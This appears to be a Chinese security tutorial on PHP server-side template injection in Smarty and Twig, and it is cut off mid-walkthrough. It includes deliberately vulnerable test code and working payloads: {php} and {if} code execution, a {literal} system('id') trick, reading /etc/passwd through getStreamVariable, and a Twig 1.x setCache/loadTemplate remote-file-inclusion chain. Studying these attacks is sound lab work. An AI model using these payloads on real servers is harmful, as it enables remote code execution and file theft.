PHP 模板注入

sky123

SSTI(服务器端模板注入) 是一种攻击方式。攻击者通过控制输入,将恶意“模板语法”注入到后端模板引擎中,使模板引擎在渲染页面时执行这些恶意语句,从而造成信息泄露、权限绕过,甚至远程代码执行(RCE)。

模板引擎(Template Engine) 是一个用于生成动态 HTML 的系统。,开发者可以在其中使用变量、控制语句(如 if、for)、函数、过滤器等来生成网页内容,而无需在 HTML 中直接混写 PHP 逻辑代码。

常见的 PHP 模板引擎包括:

  • Smarty:最经典、最流行的独立模板引擎
  • Twig:Symfony 官方推荐的模板引擎,也被 ThinkPHP 等采用
  • Blade:Laravel 框架内置模板引擎

其中 Blade 是编译型模板引擎,模板文件(.blade.php)在运行前会被编译为原生 PHP 代码, 不支持动态指定模板结构,因此用户无法控制模板结构本身,也就很难存在模板注入。

而另外两种模板引擎支持动态指定模板结构,因此也就存在模板注入。

模板注入属于 代码注入 漏洞的一种,但特别之处在于注入的“语言”是模板语法(例如 {{ ... }}),而不是 PHP 原生代码。

Smarty

https://forum.butian.net/share/2262

https://www.anquanke.com/post/id/272393

Smarty 是 PHP 语言中最早诞生、最成熟、最广泛使用的 模板引擎之一。它以 高效、灵活、安全 著称,广泛应用于各种 Web 项目中。

作为一个 完全独立、与框架无关 的模板系统,Smarty 可以轻松集成到任何 PHP 应用中,既适合传统开发,也适用于现代 MVC 架构,帮助开发者实现 逻辑与表现的彻底分离

主版本 发布时间段 特点 安全性
Smarty 2.x 2000–2012 最早版本,功能有限,安全机制弱 ❌ 非常危险,支持 {php} 直接执行 PHP
Smarty 3.x 2010–2022 功能强大,支持模板继承、自定义插件等 ⚠️ 默认安全不强,可开启沙盒
Smarty 4.x / 5.x 2022–至今 使用命名空间,安全性全面加强 ✅ 默认更安全,功能更现代

Smarty 是一个“编译型”的模板引擎。和纯 PHP 模板不同,Smarty 会将模板预先编译为原生的 PHP 文件(默认位于项目的 templates_c 目录下);当下一次执行相同模板的时候会直接 include 缓存的 PHP 文件,从而提高运行速度。

环境搭建

由于 Smarty 是一个完全独立、与框架无关的模板系统,因此我们不能像 ThinkPHP 那样 composer create-project 拉取一个项目骨架,而是 composer require 引入类库到当前项目中。

我们可以通过 composer show 命令查看可以安装的 smarty 版本。

1
composer show smarty/smarty --all

然后使用 composer require 安装指定版本的 Smarty 模板引擎:

1
composer require smarty/smarty:v2.6.24

另外 composer require 还可以切换 smarty 版本。其中 --with-all-dependencies 可以强制替换旧版本及其依赖。

1
2
3
4
5
rm -rf vendor/ # 删除旧 vendor 目录
composer clear-cache # 清除 Composer 缓存(可选)
composer require smarty/smarty:^3.1.29 --with-all-dependencies # 重新安装指定版本

# 重启你的 Web 服务(phpstudy / fpm / Apache)

然后就可以编写一段带有 Smarty 模板注入漏洞的测试代码:

1
2
3
<?php
require_once __DIR__ . '/vendor/autoload.php';
(new Smarty())->display('string:hello,' . $_GET['name']);

提示

因为从 Smarty 4.x 开始,特别是 5.x,Smarty 官方把类名都放到了命名空间 Smarty 里,因此我们还要额外引入 Smarty 命名空间才能创建 Smarty 对象。

1
2
3
use Smarty\Smarty;

$smarty = new Smarty();

另外如果是 PHP5 版本则不支持 Composer 的 autoload,我们需要直接引入 Smarty 类。

1
2
//require_once __DIR__ . '/vendor/autoload.php';
require_once __DIR__ . '/vendor/smarty/smarty/libs/Smarty.class.php';

然后在项目目录下开一个 PHP 服务器来测试 Smarty 模板注入漏洞。

1
php -S 127.0.0.1:8000

漏洞成因

正常情况下模板内容(hello.tpl)是固定的写死的文件,用户最多控制变量值(比如 $name 是谁),而无法控制模板结构本身

例如下面这段代码,用户的输入被作为 name 参数传入模板变量:

1
2
$smarty->assign("name", $_GET["name"]);
$smarty->display("hello.tpl");

而模板文件 hello.tpl 中的内容我们不可控,只能够把我们传入的 name 参数回显出来。

1
Hello, {$name}

然而开发者有时会错误的将用户的输入作为模板内容,这样就不是用户控制“变量值”了,而是控制了模板语法本身

例如下面这段代码中,用户的输入参数 name 被直接拼接到模板结构中。也就是说用户可以控制模板结构本身

1
$smarty->display('string:hello,' . $_GET['name']);    // 用户输入变成了模板结构!

string: 是 Smarty 支持的一种模板来源类型,表示:“把冒号后面的内容当作一段字符串模板本身来渲染”,而不是去加载模板文件。

Smarty 的模板系统支持多种“资源类型(resource type)”,用来指定模板的来源方式(从文件?字符串?数据库?远程?),格式统一为:

1
<resource_type>:<resource_name>

而前面 .tpl 模板文件的形式对应的资源类型为 file:,由于这是一种默认类型因此可以省略。

而模板本身如果可以执行一些危险函数,这就导致了模板注入(SSTI)

漏洞利用

版本确认

在进行 Smarty SSTI 利用之前,首先需要确认当前使用的 Smarty 版本,因为不同版本的 Smarty 模板引擎具有不同的安全机制和可利用函数,很多 payload 的适用性高度依赖版本。

Smarty 提供了一个内置变量 {$smarty.version},可以直接在模板中输出其版本号。

1
{$smarty.version}

php 标签

Smarty 早期版本(如 2.x)支持通过 {php}{/php} 标签在模板中直接执行 PHP 代码,例如:

1
{php}phpinfo();{/php}

{php} ... {/php} 标签内的代码和普通 PHP 文件中写的代码没有本质区别 —— 你可以调用任何函数、控制流程、执行任意语句,只要当前环境和版本允许你这么做

但从 Smarty 3.x 开始(尤其是 3.1 之后),出于安全性考虑,官方明确:❗已废弃 {php} 标签,并强烈建议开发者禁用此功能。

IMPORTANT NOTICE 重要说明

{php} tags are deprecated from Smarty, and should not be used. Put your PHP logic in PHP scripts or plugin functions instead. Note

{php} 标签在 Smarty 中已被弃用,不应再使用。 建议将 PHP 逻辑放在 PHP 脚本或插件函数中实现,而不是直接写入模板。

As of Smarty 3.1 the {php} tags are only available from SmartyBC.

从 Smarty 3.1 起,{php} 标签仅在使用 SmartyBC(Smarty 向后兼容类)时才可用。

literal 标签

在 Smarty 中,{literal} 标签用于屏蔽模板语法解析,其作用是:将 {literal} ... {/literal} 中的内容原样输出到渲染结果中,不会被 Smarty 当作模板语法进行处理。

{literal} 标签通常用于保护 JavaScriptCSS、或其他可能包含 { } 字符的前端代码,防止被 Smarty 错误解析。

虽然 {literal} 并不执行代码,它只是“原样输出”,但在特定条件下,它可以间接触发漏洞行为

例如在一些早期 PHP 环境(如 PHP 5.x)中,服务器可能启用了以下配置:

1
short_open_tag = On

并允许使用过时的写法,例如:

1
<script language="php">phpinfo();</script>

上面这段代码是早期的 PHP(比如 PHP4 / PHP5)为方便在 HTML 中嵌入 PHP 代码而设计的语法形式。

其中嵌入 HTML 中的 PHP 和 JavaScript 虽然运行环境不同,前者在服务端执行,后者在客户端执行,但它们都可以在 HTML 页面中嵌入使用,从而为静态的 HTML 增加“动态能力”。

其中嵌入 HTML 中的 PHP 代码作用与 JavaScript 类似,只不过 PHP 代码在服务端运行,而 JavaScript 在客户端浏览器中运行,但都是用来而为静态的 HTML 增加“动态能力”。

另外一种我们常见的 <?php ... ?> 标签的是在 .php 文件中与 HTML 混写时标记 PHP 代码范围的。

1
<?php phpinfo(); ?>

与前面的 <script> 标签的区别是前者用于 HTML 文件,标签是 HTML 中的一部分;后者用于 PHP 文件。

如果模板中存在注入点,并允许原样输出以下内容:

1
{literal}<script language="php">system('id');</script>{/literal}

那么 Smarty 渲染后将其写入 .php 页面中,PHP 解释器在解析这个页面时会执行该语句,从而实现 RCE。这是一种 基于 Smarty 原样输出 + 老式 PHP 标签机制 的 SSTI 利用方式。

另外一个比较简单的利用点就是 XSS。如果用户可控输入被包裹在 {literal}...{/literal} 中,Smarty 就不会做任何 HTML 编码或模板变量解析,于是用户可以直接注入任意脚本代码,形成 XSS 攻击

1
{literal}<script>alert('xss')</script>{/literal}

if 标签

Smarty 的 {if} 标签内支持所有类型的 PHP 表达式和函数的执行。

1
{if phpinfo()}{/if}

getStreamVariable

getStreamVariableSmarty_Internal_Data 类中的一个方法。该方法会读取文件中的内容,效果和 file_get_contents 类似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* 获取一个流变量的内容
*
* @param string $variable 流变量(例如 php://input、php://memory 等)的路径
* @return mixed 返回流中的内容,若打开失败则返回 null(或抛异常)
*/
public function getStreamVariable($variable)
{
$_result = '';

// 尝试以读写方式打开流
$fp = fopen($variable, 'r+');
if ($fp) {
// 持续读取每一行直到文件末尾
while (!feof($fp) && ($current_line = fgets($fp)) !== false ) {
$_result .= $current_line;
}

// 关闭流
fclose($fp);

// 返回读取到的内容
return $_result;
}

// 如果 Smarty 设置为在未定义变量时报错,则抛出异常
if ($this->smarty->error_unassigned) {
throw new SmartyException('未定义的流变量 "' . $variable . '"');
} else {
// 否则返回 null
return null;
}
}

由于 PHP 的高容忍性,我们可以直接将这个方法当做静态方法调用:

1
{Smarty_Internal_Data::getStreamVariable("file:///etc/passwd")}

不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 方法删除。

writeFile

类似 getStreamVariable,在 Smarty_Internal_Write_File 类中还有一个静态方法 writeFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
/**
* 安全地将内容写入文件
*
* @param string $_filepath 完整的文件路径(目标写入路径)
* @param string $_contents 要写入的内容(字符串)
* @param Smarty $smarty Smarty 实例对象(用于访问权限设置等)
* @return boolean 成功返回 true,失败抛出异常
*/
public static function writeFile($_filepath, $_contents, Smarty $smarty)
{
// 保存当前的错误报告级别
$_error_reporting = error_reporting();

// 临时关闭 NOTICE 和 WARNING 错误提示(避免 mkdir 等函数警告中断)
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);

// 如果设置了自定义文件权限,则修改 umask(权限掩码)为 0
if ($smarty->_file_perms !== null) {
$old_umask = umask(0);
}

// 获取文件路径中的目录路径部分
$_dirpath = dirname($_filepath);

// 如果目标路径中包含子目录且不存在,则创建目录结构
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);
}

// 生成一个临时文件路径(避免写入时产生竞争条件)
$_tmp_file = $_dirpath . DS . uniqid('wrt', true);

// 将内容写入临时文件
if (!file_put_contents($_tmp_file, $_contents)) {
// 写入失败,恢复错误级别并抛出异常
error_reporting($_error_reporting);
throw new SmartyException("无法写入临时文件 {$_tmp_file}");
return false;
}

/*
* 说明:
* - Windows 系统中,如果目标文件已存在,rename() 会失败;
* - Linux 系统中,rename() 会自动覆盖旧文件;
* - unlink() 会立即删除目标文件,可能导致其他进程读失败;
* 所以优先尝试 rename(),尽量避免显式删除。
*/

if (Smarty::$_IS_WINDOWS) {
// Windows:先尝试删除目标文件
@unlink($_filepath);
// 重命名临时文件为目标文件
$success = @rename($_tmp_file, $_filepath);
} else {
// Linux:尝试直接重命名(系统内部原子操作)
$success = @rename($_tmp_file, $_filepath);
if (!$success) {
// 如果失败,则尝试手动删除再重命名
@unlink($_filepath);
$success = @rename($_tmp_file, $_filepath);
}
}

// 如果重命名最终失败,抛出异常
if (!$success) {
error_reporting($_error_reporting);
throw new SmartyException("无法写入文件 {$_filepath}");
return false;
}

// 如果设置了文件权限,则赋予目标文件权限
if ($smarty->_file_perms !== null) {
chmod($_filepath, $smarty->_file_perms);
umask($old_umask); // 恢复原 umask
}

// 恢复原始错误报告级别
error_reporting($_error_reporting);
return true;
}

沙箱逃逸

Smarty 的“沙箱”是一种模板运行时限制机制。该机制通过调用 SmartyenableSecurity 方法设置,该方法定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* 安全策略类的类名(class name)
*
* 该变量指定启用沙箱机制时所使用的安全策略类的类名。
*
* 默认值为 'Smarty_Security',表示使用 Smarty 内置的默认安全策略类。
*
* 注意:这个类必须是 Smarty_Security 的实例或其子类。
* 可以通过覆盖此属性来使用自定义的安全策略类。
*
* 当调用 $smarty->enableSecurity() 时,如果未传入参数,就会使用这个类名。
*
* @var string
* @see Smarty_Security // 引导 IDE 和文档工具跳转到相关类定义
*/
public $security_class = 'Smarty_Security';


/**
* 加载安全策略类,并启用 Smarty 安全机制(沙箱)
*
* @param string|Smarty_Security $security_class 可以是类名字符串,也可以是 Smarty_Security 对象
* @return Smarty 返回当前 Smarty 实例(支持链式调用)
* @throws SmartyException 当传入的类名无效或不继承自 Smarty_Security 时抛出异常
*/
public function enableSecurity($security_class = null)
{
// 如果传入的是一个 Smarty_Security 实例,说明调用者自定义了安全策略对象
if ($security_class instanceof Smarty_Security) {
$this->security_policy = $security_class; // 直接应用传入的安全策略
return $this;
}
// 如果传入是一个对象,但不是 Smarty_Security 子类,则抛异常
elseif (is_object($security_class)) {
throw new SmartyException("Class '" . get_class($security_class) . "' must extend Smarty_Security.");
}

// 如果没有传入参数(null),使用默认的安全策略类名(一般是 'Smarty_Security')
if ($security_class == null) {
$security_class = $this->security_class;
}

// 检查类是否存在
if (!class_exists($security_class)) {
throw new SmartyException("Security class '$security_class' is not defined"); // 类不存在,报错
}
// 检查该类是否是 Smarty_Security 的子类(或本身)
elseif ($security_class !== 'Smarty_Security' && !is_subclass_of($security_class, 'Smarty_Security')) {
throw new SmartyException("Class '$security_class' must extend Smarty_Security."); // 不合规,报错
} else {
// 一切正常:实例化该安全策略类,并绑定给 smarty 对象
$this->security_policy = new $security_class($this);
}

// 支持链式调用
return $this;
}

通过分析代码可知 enableSecurity 函数的逻辑是:

  • 如果传入的是 自定义的 Smarty_Security 实例对象,则直接使用它作为当前安全策略;
  • 如果没有传入参数,则使用默认的 $security_class 属性(默认是 'Smarty_Security')来实例化;
  • 安全策略最终会赋值到 $this->security_policy

因此通常的默认安全策略:

1
2
// 默认策略(宽松)
$smarty->enableSecurity();

与下面这段自定义安全策略等价:

1
2
3
// 显式创建默认策略(但可扩展)
$policy = new Smarty_Security($smarty);
$smarty->enableSecurity($policy);

Smarty_Security 有很多安全相关的属性。

属性 含义 示例值
php_functions 允许的 PHP 函数 ['time', 'count']null 禁止所有
php_modifiers 允许的修饰器函数 ['escape', 'nl2br']
static_classes 允许调用的静态类 ['DateTime']
allow_constants 是否允许访问常量 false
allow_super_globals 是否允许访问如 $_GET false
streams 允许的协议流 ['file']
allow_php_tag 是否允许 {php} 标签 false
php_handling 是否解析模板中的 PHP 代码 Smarty::PHP_REMOVE

例如下面这段代码,用户可以自定义这些安全属性。

1
2
3
4
5
6
7
8
9
10
$policy = new Smarty_Security($smarty);
$policy->php_functions = null; // 禁止所有函数调用
$policy->php_modifiers = null; // 禁止所有修饰器
$policy->static_classes = null; // 禁止所有静态类
$policy->allow_super_globals = false; // 禁止 $_GET 等
$policy->allow_constants = false; // 禁止访问常量
$policy->allow_php_tag = false; // 禁止 {php}
$policy->streams = null; // 禁止 fetch file:// 等
$policy->php_handling = Smarty::PHP_REMOVE;// 移除模板中的 PHP 代码
$smarty->enableSecurity($policy);

另外我们可以在 Smarty_Security 类的声明中查看是默认策略下字段的值。其中只有下面几个字段设置了初始值,其他的字段都设置为空值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/**
* 控制 Smarty 如何处理模板中的 `<?php ... ?>` 标签。
*
* 可选值(来自 Smarty 常量):
* - Smarty::PHP_PASSTHRU :默认值,原样输出 `<?php ... ?>`,不会执行
* - Smarty::PHP_QUOTE :将 PHP 标签转义为实体(如 &lt;?php)
* - Smarty::PHP_REMOVE :移除模板中的所有 PHP 标签
* - Smarty::PHP_ALLOW :执行模板中的 PHP 代码(⚠️ 极度危险)
*
* @var integer
*/
public $php_handling = Smarty::PHP_PASSTHRU;

/**
* 允许在模板中调用的 PHP 函数白名单。
*
* - 如果设置为 `null`,表示禁止调用所有 PHP 函数(最安全);
* - 如果设置为 `[]`(空数组),表示允许所有 PHP 函数(最危险);
* - 如果设置为数组,则只允许调用数组中列出的函数。
*
* 默认允许以下函数(较为安全):
* - isset / empty :变量检测
* - count / sizeof :数组元素计数
* - in_array / is_array :数组判断
* - time :获取当前时间戳
* - nl2br :换行转 `<br>`(常用于显示)
*
* @var array|null
*/
public $php_functions = array(
'isset', 'empty',
'count', 'sizeof',
'in_array', 'is_array',
'time',
'nl2br',
);

/**
* 允许在模板中使用的修饰器(modifier)函数白名单。
*
* - 修饰器是通过 `{$var|modifier}` 的语法调用的函数。
* - 如果设置为 `null`,表示禁止所有修饰器函数;
* - 如果设置为 `[]`(空数组),表示允许所有修饰器函数;
* - 如果设置为数组,则只允许调用列出的修饰器。
*
* 默认允许以下两个修饰器:
* - escape :对输出进行 HTML 转义,防止 XSS
* - count :统计元素个数,等价于 PHP 的 count()
*
* @var array|null
*/
public $php_modifiers = array(
'escape',
'count'
);

/**
* 允许的模板 `fetch` 读取协议流(stream)白名单。
*
* - 如果设置为空数组 `[]`,表示允许所有协议(如 file://, http://, ftp:// 等);
* - 如果设置为 `null`,表示禁止所有协议;
* - 如果设置为数组,则仅允许指定协议。
*
* 默认只允许 `file` 协议,即 `{fetch file="file:///etc/passwd"}` 可用。
*
* ⚠️ 开启 http/ftp 等协议可能导致 SSRF 或远程加载攻击。
*
* @var array|null
*/
public $streams = array('file');

CVE-2017-1000480

CVE-2021-26120

CVE-2021-26119

CVE-2021-29454

Twig

https://hadagaga.github.io/2025/03/03/PHPsstiTwig/

Twig 是由 Symfony 社区开发的现代化 PHP 模板引擎,以 简洁语法、高性能、安全性强 著称,广泛应用于 Symfony、Laravel 等主流框架中,也可以独立使用于任何原生 PHP 项目。

主版本 发布时间段 特点 安全性
Twig 1.x 2009–2017 初代版本,兼容 PHP 5 ❌ 安全机制较弱
Twig 2.x 2017–2020 引入部分现代特性,PHP 7 起步 ⚠️ 默认不执行 PHP,但结构仍旧宽松
Twig 3.x 2020–至今 命名空间结构,性能更强,安全增强 ✅ 默认安全性高,推荐使用

Twig 是解释型模板引擎,模板文件会在渲染时被编译为 PHP 类,缓存机制可选,适合现代化开发。

环境搭建

与 Smarty 一样,Twig 需要通过 composer require 安装到当前项目中。

我们可以通过如下命令查看 Twig 的所有可安装版本:

1
composer show twig/twig --all

然后使用 composer require 安装指定版本的 Twig:

1
composer require twig/twig:^2.0  # 安装 Twig 2.x

果需要切换 Twig 版本,可以使用 --with-all-dependencies 强制更新依赖:

1
2
3
4
5
rm -rf vendor/                 # 删除旧 vendor 目录
composer clear-cache # 清除 Composer 缓存(可选)
composer require twig/twig:^3.0 --with-all-dependencies # 安装 Twig 3.x

# 重启你的 Web 服务(phpstudy / fpm / Apache)

然后就可以编写一段 Twig 模板注入测试代码。

Twig 1.x/2.x 中仍然保留了非命名空间风格类名(如 Twig_Environment)。

1
2
3
4
5
6
7
8
9
<?php
require_once __DIR__ . '/vendor/autoload.php';

$loader = new Twig_Loader_Array([
'template' => 'Hello, ' . $_GET['name']
]);
$twig = new Twig_Environment($loader);

echo $twig->render('template');

Twig 3.x 开始,Twig 全部采用命名空间方式进行类组织

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require_once __DIR__ . '/vendor/autoload.php';

use Twig\Environment;
use Twig\Loader\ArrayLoader;

$loader = new ArrayLoader([
'template' => 'Hello, ' . $_GET['name']
]);
$twig = new Environment($loader);

echo $twig->render('template');

漏洞成因

Twig 提供了多种模板加载器(类似 Smarty 模板中声明的资源类型),决定了模板从哪里来、怎么加载,它们的安全性差异也直接决定了是否会发生模板注入(SSTI)。

如果采用的是 FilesystemLoader 这种模板加载器,则 Twig 模板文件结构是固定的,用户输入只会被当作模板变量内容,而非模板语法。这种形式非常安全,不存在模板注入。

例如下面的代码从 templates/hello.twig 加载模板内容,并将用户输入作为变量传入:

1
2
3
$loader = new FilesystemLoader('templates');
$twig = new Environment($loader);
$twig->render('hello.twig', ['name' => $_GET['name']]);

模板 hello.twig 的内容如下:

1
Hello, {{ name }}

与Smarty 使用 {} 的模板语法不同,Twig 为了避免与 HTML、CSS、JS 中常见的 {} 冲突,,采用双层花括号 {{ }} 表达“变量输出”,并与控制语句 {% %} 分离。

此时,用户传入的参数 name 仅用于替换 {{ name }} 变量,无法影响模板结构本身,所以不存在模板注入风险。

如果采用的是 ArrayLoader 这种模板加载器则模板是通过 PHP 数组注册的,可以动态构造模板结构。开发者如果错误地将用户输入直接拼接为模板内容本身,这就造成了 模板结构可控 → SSTI(服务端模板注入)漏洞

1
2
3
4
5
$loader = new ArrayLoader([
'tmpl' => 'Hello, ' . $_GET['name']
]);
$twig = new Environment($loader);
echo $twig->render('tmpl');

对于上述代码,攻击者可构造输入:?name={{7*7}},如果输出 Hello, 49 这说明模板结构本身被控制,导致了 SSTI。

漏洞利用

Twig 1.x(小于 v1.20.0)

利用原理

Twig 1.x 的 lib/Twig/Node/Expression/Name.php 中定义了 3 个特殊模板变量

1
2
3
4
5
protected $specialVars = array(
'_self' => '$this', // 当前模板对象实例
'_context' => '$context', // 所有变量集合
'_charset' => '$this->env->getCharset()', // 当前字符集
);

这是一个类属性(定义在 Twig_Node_Expression_Name 类中),它的意思是:当模板中用 {{ _self }}{{ _context }}{{ _charset }} 这几个“特殊变量名”时,不是去 $context 变量里找,而是自动替换成特定的 PHP 代码。

其中变量 _self 会被替换成 $this,也就是模板类本身(Twig_Template)。这意味着你在模板中写:

1
{{ _self.env }}

就是拿到 $this->env,也就是 Twig_Environment 实例。此时我们可以调用 Twig_Environment 中的方法。

远程文件包含

Twig_Environment 类中,setCache 可以设置 $this->$cache

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 设置模板缓存目录,也可以关闭缓存。
*
* @param string|false $cache 传入参数可以是:
* - 绝对路径字符串:表示编译后的模板文件保存的目录
* - false:表示禁用缓存功能(不保存任何编译文件)
*/
public function setCache($cache)
{
// 如果 $cache 有值,则设置缓存目录;否则禁用缓存(设为 false)
$this->cache = $cache ? $cache : false;
}

我们可以通过 _self.env.setCache 调用 setCache 函数设置 $this->cacheftp 协议路径。这里使用 ftp 伪协议是为了在远程文件包含的基础上绕过 is_file 判断。

1
{{_self.env.setCache("ftp://localhost/backdoor")}}

Twig_Environment 类中还有一个 loadTemplate 函数可以加载一个指定名称的模板。

1
{{ _self.env.loadTemplate("backdoor") }}

提示

Twig 支持我们连续写多个表达式结构,来依次调用多个函数,达到连续执行多个操作的目的。

1
http://localhost/?name={{_self.env.setCache("ftp://localhost/backdoor")}}{{ _self.env.loadTemplate("backdoor") }}

loadTemplate 函数的实现如下,我们主要想利用的是里面的一个使用 require_once 的文件包含。不过这里需要绕过一系列的判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* 加载一个指定名称的模板。
*
* @param string $name 模板名称(可为文件名或 loader 中注册的 key)
* @param int $index 嵌套模板时的索引(可选)
*
* @return Twig_TemplateInterface 返回对应的模板实例(已编译好的 PHP 类)
*
* @throws Twig_Error_Loader 如果找不到模板
* @throws Twig_Error_Syntax 如果模板编译出错
*/
public function loadTemplate($name, $index = null)
{
// 获取模板类名(通常是根据模板名 hash 编出来的 PHP 类名)
$cls = $this->getTemplateClass($name, $index);

// 如果该模板类已经加载过,直接返回缓存对象
if (isset($this->loadedTemplates[$cls])) {
return $this->loadedTemplates[$cls];
}

// 如果该模板类还没被定义(即没有被 require 或 eval)
if (!class_exists($cls, false)) {

// 获取模板缓存文件的绝对路径(如 templates_c/hash.php)
if (false === $cache = $this->getCacheFilename($name)) {

// 如果没有启用缓存功能,就直接将模板源码编译为 PHP 并 eval 执行
eval('?>' . $this->compileSource(
$this->getLoader()->getSource($name), // 加载模板源码
$name
));

} else {
// 如果缓存文件不存在,或启用了自动刷新功能并发现模板有更新
if (!is_file($cache) || ($this->isAutoReload() && !$this->isTemplateFresh($name, filemtime($cache)))) {

// 重新编译模板源码并写入缓存文件
$this->writeCacheFile(
$cache,
$this->compileSource($this->getLoader()->getSource($name), $name)
);
}

// 从缓存文件中加载(相当于 require compiled PHP template)
require_once $cache;
}
}

// 初始化运行环境(仅第一次加载模板时调用)
if (!$this->runtimeInitialized) {
$this->initRuntime();
}

// 创建模板实例对象并缓存返回
return $this->loadedTemplates[$cls] = new $cls($this);
}

首先一开始会通过 getTemplateClass 函数获取模板类名。其中 $index 参数由于我们没有设置因此是默认值 null

1
2
// 获取模板类名(通常是根据模板名 hash 编出来的 PHP 类名)
$cls = $this->getTemplateClass($name, $index);

getTemplateClass 函数将 __TwigTemplate_ 前缀与 $this->loader->getCacheKey($name)sha256(低版本为 md5)拼接在一起作为名称为 $name 的模板对应的 PHP 类名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/**
* 获取当前使用的模板加载器(Loader)实例。
*
* @return Twig_LoaderInterface 返回一个 Twig_LoaderInterface 接口实例(用于加载模板)
* @throws LogicException 如果未设置加载器($this->loader 为 null),则抛出异常
*/
public function getLoader()
{
if (null === $this->loader) {
throw new LogicException('You must set a loader first.'); // 未设置加载器就抛异常
}

return $this->loader;
}

/**
* 获取指定模板名称对应的模板类名(用于缓存编译模板)
*
* Twig 会把模板编译为 PHP 类,为防止重复,需要根据模板名称生成唯一的类名。
*
* @param string $name 模板名称(如 'index' 或 'backdoor')
* @param int $index 若为嵌套模板,指定索引(可选)
*
* @return string 返回模板对应的 PHP 类名(如 __TwigTemplate_abcdef123456)
*/
public function getTemplateClass($name, $index = null)
{
// getLoader()->getCacheKey($name) 获取模板的唯一标识(通常是模板文件路径)
// hash('sha256', ...) 保证唯一性且兼容文件名(防止路径重复)
// templateClassPrefix 是类名前缀(通常为 __TwigTemplate_)
// 若传入 index,则添加 _index 后缀(用于嵌套模板)
return $this->templateClassPrefix
. hash('sha256', $this->getLoader()->getCacheKey($name))
. (null === $index ? '' : '_'.$index);
}

protected $templateClassPrefix = '__TwigTemplate_';

Twig_Environment$loader 指向一个 Twig_Loader_Array 类实例化的对象。Twig_Loader_Array 中只有一个成员 templates 数组,里面存储的是模板名称到模板内容的映射。Twig_Loader_Array 类的 getCacheKey 方法实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* 获取指定模板名称对应的唯一缓存标识符(cache key)
*
* 这是模板加载器(Loader)接口中的方法实现之一,
* 用于返回一个模板的“唯一标识路径”或“内容签名”,供后续缓存判断、类名生成等用途。
*
* @param string $name 模板名称(在 ArrayLoader 中是 key,在 FilesystemLoader 中是文件路径)
* @return string 返回该模板的唯一标识字符串(可用于 hash 算出模板类名)
*
* @throws Twig_Error_Loader 如果指定的模板不存在
*/
public function getCacheKey($name)
{
// 强制转换模板名为字符串
$name = (string) $name;

// 如果模板未定义,则抛出异常(ArrayLoader 中 $this->templates 是一个数组)
if (!isset($this->templates[$name])) {
throw new Twig_Error_Loader(sprintf('Template "%s" is not defined.', $name));
}

// 返回该模板对应的缓存标识(通常就是模板内容或模板路径)
return $this->templates[$name];
}

可以看到如果传入一个没有注册过的模板的名称,则会抛出异常导致请求终止。因此我们需要使用一个注册过的模板的名称。

例如这里我们利用的是已经注册的模板 backdoor,它对应的模板类名称为 '__TwigTemplate_' . hash('sha256', 'dummy') . '' = '__TwigTemplate_b5a2c96250612366ea272ffac6d9744aaf4b45aacd96aa7cfcb931ee3b558259'

1
2
3
4
5
6
$loader = new Twig_Loader_Array([
'backdoor' => 'dummy',
'template' => 'Hello, ' . $_GET['name']
]);
$twig = new Twig_Environment($loader);
echo $twig->render('template');

返回到 loadTemplate 后会有一个缓存优化。如果我们计算出来的类名在 $this->loadedTemplates 中出现则会直接返回。

1
2
3
4
5
6
7
// 获取模板类名(通常是根据模板名 hash 编出来的 PHP 类名)
$cls = $this->getTemplateClass($name, $index);

// 如果该模板类已经加载过,直接返回缓存对象
if (isset($this->loadedTemplates[$cls])) {
return $this->loadedTemplates[$cls];
}

为了执行到远程文件包含的位置,我们需要避免 loadedTemplates 中出现我们利用的类名。这就要求该类名对应的模板被注册过但是还没有被使用过。

再之后需要绕过一系列的判断执行到任意文件包含的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 如果该模板类还没被定义(即没有被 require 或 eval)
if (!class_exists($cls, false)) {

// 获取模板缓存文件的绝对路径(如 templates_c/hash.php)
if (false === $cache = $this->getCacheFilename($name)) {

// [...]

} else {
// 如果缓存文件不存在,或启用了自动刷新功能并发现模板有更新
if (!is_file($cache) || ($this->isAutoReload() && !$this->isTemplateFresh($name, filemtime($cache)))) {

// 重新编译模板源码并写入缓存文件
$this->writeCacheFile(
$cache,
$this->compileSource($this->getLoader()->getSource($name), $name)
);
}

// 从缓存文件中加载(相当于 require compiled PHP template)
require_once $cache;
}
}

为此需要满足:

  1. 模板对应的类名不存在。这里由于模板没有被使用过,显然是不存在的。

  2. $this->getCacheFilename($name) 的返回值不为 false。这里计算出来的模板文件的缓存路径为 ftp://localhost/backdoor/b/5/b5a2c96250612366ea272ffac6d9744aaf4b45aacd96aa7cfcb931ee3b558259.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
